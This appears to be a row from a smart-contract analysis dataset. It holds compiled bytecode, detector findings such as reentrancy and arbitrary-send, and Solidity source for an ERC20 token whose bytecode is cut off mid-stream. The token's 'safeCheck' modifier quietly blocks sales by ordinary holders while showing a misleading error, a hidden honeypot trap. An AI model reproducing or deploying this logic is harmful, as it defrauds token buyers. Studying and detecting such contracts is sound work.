ffffffffffffffffffffffffffffffffffffff166108fc61222b600a61221d6002866125c290919063ffffffff16565b61263d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612256573d6000803e3d6000fd5b5050565b60006006548211156122a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612298906133e8565b60405180910390fd5b60006122ab6126b4565b90506122c0818461263d90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612326577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156123545781602001602082028036833780820191505090505b5090503081600081518110612392577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561243457600080fd5b505afa158015612448573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061246c9190612e15565b816001815181106124a6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250d30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611428565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612571959493929190613563565b600060405180830381600087803b15801561258b57600080fd5b505af115801561259f573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000808314156125d55760009050612637565b600082846125e39190613705565b90508284826125f291906136d4565b14612632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262990613468565b60405180910390fd5b809150505b92915050565b600061267f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126df565b905092915050565b8061269557612694612742565b5b6126a0848484612773565b806126ae576126ad61293e565b5b50505050565b60008060006126c1612950565b915091506126d8818361263d90919063ffffffff16565b9250505090565b60008083118290612726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271d91906133a6565b60405180910390fd5b506000838561273591906136d4565b9050809150509392505050565b600060085414801561275657506000600954145b1561276057612771565b600060088190555060006009819055505b565b600080600080600080612785876129b2565b9550955095509550955095506127e386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128c481612ac2565b6128ce8483612b7f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161292b9190613548565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612986683635c9adc5dea0000060065461263d90919063ffffffff16565b8210156129a557600654683635c9adc5dea000009350935050506129ae565b81819350935050505b9091565b60008060008060008060008060006129cf8a600854600954612bb9565b92509250925060006129df6126b4565b905060008060006129f28e878787612c4f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a5c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612046565b905092915050565b6000808284612a73919061367e565b905083811015612ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aaf90613428565b60405180910390fd5b8091505092915050565b6000612acc6126b4565b90506000612ae382846125c290919063ffffffff16565b9050612b3781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b9482600654612a1a90919063ffffffff16565b600681905550612baf81600754612a6490919063ffffffff16565b6007819055505050565b600080600080612be56064612bd7888a6125c290919063ffffffff16565b61263d90919063ffffffff16565b90506000612c0f6064612c01888b6125c290919063ffffffff16565b61263d90919063ffffffff16565b90506000612c3882612c2a858c612a1a90919063ffffffff16565b612a1a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c6885896125c290919063ffffffff16565b90506000612c7f86896125c290919063ffffffff16565b90506000612c9687896125c290919063ffffffff16565b90506000612cbf82612cb18587612a1a90919063ffffffff16565b612a1a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ceb612ce6846135fd565b6135d8565b90508083825260208201905082856020860282011115612d0a57600080fd5b60005b85811015612d3a5781612d208882612d44565b845260208401935060208301925050600181019050612d0d565b5050509392505050565b600081359050612d5381613c3b565b92915050565b600081519050612d6881613c3b565b92915050565b600082601f830112612d7f57600080fd5b8135612d8f848260208601612cd8565b91505092915050565b600081359050612da781613c52565b92915050565b600081519050612dbc81613c52565b92915050565b600081359050612dd181613c69565b92915050565b600081519050612de681613c69565b92915050565b600060208284031215612dfe57600080fd5b6000612e0c84828501612d44565b91505092915050565b600060208284031215612e2757600080fd5b6000612e3584828501612d59565b91505092915050565b60008060408385031215612e5157600080fd5b6000612e5f85828601612d44565b9250506020612e7085828601612d44565b9150509250929050565b600080600060608486031215612e8f57600080fd5b6000612e9d86828701612d44565b9350506020612eae86828701612d44565b9250506040612ebf86828701612dc2565b9150509250925092565b60008060408385031215612edc57600080fd5b6000612eea85828601612d44565b9250506020612efb85828601612dc2565b9150509250929050565b600060208284031215612f1757600080fd5b600082013567ffffffffffffffff811115612f3157600080fd5b612f3d84828501612d6e565b91505092915050565b600060208284031215612f5857600080fd5b6000612f6684828501612d98565b91505092915050565b600060208284031215612f8157600080fd5b6000612f8f84828501612dad565b91505092915050565b600060208284031215612faa57600080fd5b6000612fb884828501612dc2565b91505092915050565b600080600060608486031215612fd657600080fd5b6000612fe486828701612dd7565b9350506020612ff586828701612dd7565b925050604061300686828701612dd7565b9150509250925092565b600061301c8383613028565b60208301905092915050565b61303181613793565b82525050565b61304081613793565b82525050565b600061305182613639565b61305b818561365c565b935061306683613629565b8060005b8381101561309757815161307e8882613010565b97506130898361364f565b92505060018101905061306a565b5085935050505092915050565b6130ad816137a5565b82525050565b6130bc816137e8565b82525050565b60006130cd82613644565b6130d7818561366d565b93506130e78185602086016137fa565b6130f081613934565b840191505092915050565b600061310860238361366d565b915061311382613945565b604082019050919050565b600061312b602a8361366d565b915061313682613994565b604082019050919050565b600061314e60228361366d565b9150613159826139e3565b604082019050919050565b6000613171601b8361366d565b915061317c82613a32565b602082019050919050565b6000613194601d8361366d565b915061319f82613a5b565b602082019050919050565b60006131b760218361366d565b91506131c282613a84565b604082019050919050565b60006131da60208361366d565b91506131e582613ad3565b602082019050919050565b60006131fd60298361366d565b915061320882613afc565b604082019050919050565b600061322060258361366d565b915061322b82613b4b565b604082019050919050565b600061324360248361366d565b915061324e82613b9a565b604082019050919050565b600061326660178361366d565b915061327182613be9565b602082019050919050565b600061328960118361366d565b915061329482613c12565b602082019050919050565b6132a8816137d1565b82525050565b6132b7816137db565b82525050565b60006020820190506132d26000830184613037565b92915050565b60006040820190506132ed6000830185613037565b6132fa6020830184613037565b9392505050565b60006040820190506133166000830185613037565b613323602083018461329f565b9392505050565b600060c08201905061333f6000830189613037565b61334c602083018861329f565b61335960408301876130b3565b61336660608301866130b3565b6133736080830185613037565b61338060a083018461329f565b979650505050505050565b60006020820190506133a060008301846130a4565b92915050565b600060208201905081810360008301526133c081846130c2565b905092915050565b600060208201905081810360008301526133e1816130fb565b9050919050565b600060208201905081810360008301526134018161311e565b9050919050565b6000602082019050818103600083015261342181613141565b9050919050565b6000602082019050818103600083015261344181613164565b9050919050565b6000602082019050818103600083015261346181613187565b9050919050565b60006020820190508181036000830152613481816131aa565b9050919050565b600060208201905081810360008301526134a1816131cd565b9050919050565b600060208201905081810360008301526134c1816131f0565b9050919050565b600060208201905081810360008301526134e181613213565b9050919050565b6000602082019050818103600083015261350181613236565b9050919050565b6000602082019050818103600083015261352181613259565b9050919050565b600060208201905081810360008301526135418161327c565b9050919050565b600060208201905061355d600083018461329f565b92915050565b600060a082019050613578600083018861329f565b61358560208301876130b3565b81810360408301526135978186613046565b90506135a66060830185613037565b6135b3608083018461329f565b9695505050505050565b60006020820190506135d260008301846132ae565b92915050565b60006135e26135f3565b90506135ee828261382d565b919050565b6000604051905090565b600067ffffffffffffffff82111561361857613617613905565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613689826137d1565b9150613694836137d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136c9576136c86138a7565b5b828201905092915050565b60006136df826137d1565b91506136ea836137d1565b9250826136fa576136f96138d6565b5b828204905092915050565b6000613710826137d1565b915061371b836137d1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613754576137536138a7565b5b828202905092915050565b600061376a826137d1565b9150613775836137d1565b925082821015613788576137876138a7565b5b828203905092915050565b600061379e826137b1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006137f3826137d1565b9050919050565b60005b838110156138185780820151818401526020810190506137fd565b83811115613827576000848401525b50505050565b61383682613934565b810181811067ffffffffffffffff8211171561385557613854613905565b5b80604052505050565b6000613869826137d1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561389c5761389b6138a7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613c4481613793565b8114613c4f57600080fd5b50565b613c5b816137a5565b8114613c6657600080fd5b50565b613c72816137d1565b8114613c7d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5ca429280874625ac6092f2f537ff3b695364f45c30adc95936a3e291011abd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,753
0xfd6130f50a7fdf1849477c5797455c19aa96c4c9
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_BLACK(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffff